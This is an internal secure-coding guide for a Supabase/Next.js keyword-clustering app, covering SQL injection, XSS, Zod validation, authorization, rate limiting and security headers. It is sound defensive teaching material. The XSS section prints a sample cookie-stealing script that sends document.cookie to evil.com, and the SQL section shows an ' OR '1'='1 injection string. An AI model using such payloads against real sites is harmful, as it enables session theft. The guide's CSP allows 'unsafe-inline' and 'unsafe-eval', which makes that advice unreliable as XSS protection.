How We Secure Applications

Protecting against common vulnerabilities - OWASP top 10, injection, validation

How We Secure Applications

Security isn't optional. A vulnerability in our tools could expose client data, API keys, or become an attack vector. This guide covers the common threats and how to prevent them.

Core mindset: Assume all input is malicious. Validate everything. Trust nothing from the client.

The OWASP Top 10

OWASP (Open Web Application Security Project) maintains a list of the most critical web application security risks. Here's what matters for us:

RiskWhat It IsOur Exposure
InjectionMalicious data in queriesHigh (database, APIs)
Broken AuthWeak authenticationMedium
Sensitive Data ExposureLeaked secrets, dataHigh
XSSMalicious scripts in pagesMedium
Broken Access ControlAccessing others' dataHigh
Security MisconfigurationWrong settingsMedium
CSRFTricked into actionsLow (API-based)

SQL Injection

The Attack

Attacker inserts SQL code through input fields:

// VULNERABLE: String concatenation
const query = `SELECT * FROM users WHERE email = '${email}'`;

// If email is: ' OR '1'='1
// Query becomes: SELECT * FROM users WHERE email = '' OR '1'='1'
// Returns ALL users!

Prevention

Always use parameterized queries:

// SAFE: Parameterized query with Supabase
const { data } = await supabase
  .from('users')
  .select('*')
  .eq('email', email);

// SAFE: If using raw SQL
const { data } = await supabase.rpc('get_user', { user_email: email });

// In the function:
// SELECT * FROM users WHERE email = $1

Checklist

  • Never concatenate user input into SQL
  • Use Supabase client methods (they're parameterized)
  • Use stored procedures for complex queries
  • Validate input types before querying

XSS (Cross-Site Scripting)

The Attack

Attacker injects JavaScript that runs in other users' browsers:

<!-- If we display user input directly -->
<div>{userComment}</div>

<!-- Attacker submits: -->
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

<!-- This runs in every user's browser who views it -->

Prevention

React escapes by default, but watch for:

// VULNERABLE: dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: userContent }} />

// SAFE: Let React escape
<div>{userContent}</div>

// If you MUST render HTML, sanitize first:
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userContent) }} />

Common XSS Vectors

VectorPrevention
HTML contentSanitize or escape
URL parametersValidate, encode
CSS valuesWhitelist allowed values
JavaScript URLsBlock javascript: protocol

Example: Displaying User Keywords

// User uploads CSV with keywords
// What if a keyword is: <script>alert('xss')</script>

// SAFE: React escapes by default
{keywords.map(k => <div key={k.id}>{k.text}</div>)}

// VULNERABLE: If rendering to non-React context
element.innerHTML = keyword; // DON'T DO THIS

Input Validation

Validate Everything

import { z } from 'zod';

// Define expected shape
const KeywordUploadSchema = z.object({
  keywords: z.array(z.string().min(1).max(500)).min(1).max(10000),
  options: z.object({
    minClusterSize: z.number().min(2).max(100).default(5),
    model: z.enum(['text-embedding-3-small', 'text-embedding-3-large']),
  }),
});

// Validate in API route
export async function POST(request: Request) {
  const body = await request.json();

  const result = KeywordUploadSchema.safeParse(body);
  if (!result.success) {
    return Response.json(
      { error: 'Invalid input', details: result.error.flatten() },
      { status: 400 }
    );
  }

  // Now result.data is typed and validated
  const { keywords, options } = result.data;
}

Validation Rules

Input TypeValidate
StringsLength limits, allowed characters
NumbersMin/max values, integer vs float
ArraysLength limits, item validation
EnumsExact allowed values
URLsProtocol whitelist, domain validation
FilesSize, type, content

File Upload Security

// Validate file uploads
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
const ALLOWED_TYPES = ['text/csv', 'application/json'];

export async function POST(request: Request) {
  const formData = await request.formData();
  const file = formData.get('file') as File;

  // Check size
  if (file.size > MAX_FILE_SIZE) {
    return Response.json({ error: 'File too large' }, { status: 400 });
  }

  // Check type (don't trust Content-Type header alone)
  if (!ALLOWED_TYPES.includes(file.type)) {
    return Response.json({ error: 'Invalid file type' }, { status: 400 });
  }

  // Parse and validate content
  const content = await file.text();
  // ... validate CSV/JSON structure
}

Authorization Checks

Every Endpoint Needs Auth Check

export async function GET(
  request: Request,
  { params }: { params: { id: string } }
) {
  // 1. Verify user is authenticated
  const session = await getSession(request);
  if (!session) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  // 2. Verify user owns this resource
  const { data: job } = await supabase
    .from('clustering_jobs')
    .select('*')
    .eq('id', params.id)
    .eq('user_id', session.user.id)  // CRITICAL: Filter by user
    .single();

  if (!job) {
    // Return 404, not 403 (don't reveal existence)
    return Response.json({ error: 'Not found' }, { status: 404 });
  }

  return Response.json(job);
}

Common Authorization Mistakes

// WRONG: Only checking authentication
const session = await getSession(request);
if (!session) return unauthorized();

// Then fetching without user filter
const job = await supabase.from('jobs').select().eq('id', id).single();
// User A can access User B's jobs!

// RIGHT: Always filter by user
const job = await supabase
  .from('jobs')
  .select()
  .eq('id', id)
  .eq('user_id', session.user.id)
  .single();

Rate Limiting

Protect APIs from abuse:

// Simple in-memory rate limiting (use Redis for production)
const rateLimits = new Map<string, { count: number; resetAt: number }>();

function checkRateLimit(ip: string, limit = 100, windowMs = 60000): boolean {
  const now = Date.now();
  const record = rateLimits.get(ip);

  if (!record || now > record.resetAt) {
    rateLimits.set(ip, { count: 1, resetAt: now + windowMs });
    return true;
  }

  if (record.count >= limit) {
    return false; // Rate limited
  }

  record.count++;
  return true;
}

export async function POST(request: Request) {
  const ip = request.headers.get('x-forwarded-for') || 'unknown';

  if (!checkRateLimit(ip)) {
    return Response.json(
      { error: 'Too many requests' },
      { status: 429, headers: { 'Retry-After': '60' } }
    );
  }

  // Process request...
}

Security Headers

Set in next.config.js:

const securityHeaders = [
  {
    key: 'X-Content-Type-Options',
    value: 'nosniff',
  },
  {
    key: 'X-Frame-Options',
    value: 'DENY',
  },
  {
    key: 'X-XSS-Protection',
    value: '1; mode=block',
  },
  {
    key: 'Referrer-Policy',
    value: 'strict-origin-when-cross-origin',
  },
  {
    key: 'Content-Security-Policy',
    value: "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline';",
  },
];

module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: securityHeaders,
      },
    ];
  },
};

Error Handling Security

Don't Leak Information

// WRONG: Exposes internal details
catch (error) {
  return Response.json({
    error: error.message,  // Might expose SQL, paths, etc.
    stack: error.stack,    // Reveals code structure
  }, { status: 500 });
}

// RIGHT: Generic error, log details server-side
catch (error) {
  console.error('Clustering failed:', error);  // Log for debugging
  return Response.json(
    { error: 'An error occurred. Please try again.' },
    { status: 500 }
  );
}

Error Messages by Audience

AudienceWhat to Show
User"Something went wrong. Please try again."
Developer (logs)Full error with stack trace
API consumerError code, brief message, no internals

Common Mistakes

Trusting client-side validation

Signs: Validation only in JavaScript, not on server.

Fix: Always validate on the server. Client validation is for UX only.

Using user ID from request body

Signs: const userId = request.body.userId

Fix: Get user ID from session. Never trust client-provided IDs.

Logging sensitive data

Signs: console.log(user) includes passwords, tokens.

Fix: Sanitize logs. Never log passwords, tokens, or full API keys.

Hardcoded secrets in code

Signs: const API_KEY = "sk-..." in source code.

Fix: Use environment variables. See How We Manage Secrets.

Security Checklist

Before shipping:

  • All inputs validated with Zod or similar
  • SQL queries parameterized (no string concatenation)
  • User content escaped or sanitized
  • Auth check on every protected endpoint
  • Resources filtered by user_id
  • Rate limiting in place
  • Security headers configured
  • Errors don't leak internal details
  • No secrets in code or logs

Quick Reference

AttackPrevention
SQL InjectionParameterized queries
XSSEscape output, sanitize HTML
Auth BypassCheck session on every request
IDOR (accessing others' data)Filter by user_id
Brute ForceRate limiting
Data ExposureValidate output, hide internals

Resources